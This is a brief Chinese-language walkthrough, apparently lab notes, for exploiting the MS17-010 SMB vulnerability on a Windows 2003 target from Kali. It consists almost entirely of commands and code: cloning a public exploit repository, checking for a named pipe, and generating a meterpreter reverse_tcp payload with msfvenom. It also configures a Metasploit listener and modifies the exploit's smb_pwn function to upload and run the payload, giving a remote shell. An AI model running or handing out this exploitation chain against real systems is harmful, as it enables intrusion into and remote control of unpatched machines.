测试环境:
攻击机为kali2016.2
的虚拟机,目标靶机为:windows2003(x86)
git clone https://github.com/worawit/MS17-010/
check.exp
来检查目标靶机的可用管道名:这里目标管道名为:netlogon
python checker.py 192.168.99.249
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.86 LPORT=3333 -f exe -o /opt/shell.exe
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lport 3333
msf exploit(handler) > set lhost 10.0.0.86
msf exploit(handler) > exploit -j
def smb_pwn(conn, arch):
smbConn = conn.get_smbconnection()
print('creating file c:\\pwned.txt on the target')
tid2 = smbConn.connectTree('C$')
fid2 = smbConn.createFile(tid2, '/pwned.txt')
smbConn.closeFile(tid2, fid2)
smbConn.disconnectTree(tid2)
smb_send_file(smbConn, '/opt/shell.exe', 'C', '/shell.exe')
service_exec(conn, r'cmd /c c:\\shell.exe')
# Note: there are many methods to get shell over SMB admin session
# a simple method to get shell (but easily to be detected by AV) is
# executing binary generated by "msfvenom -f exe-service ..."
python zzz_exploit.py 192.168.99.249 netlogon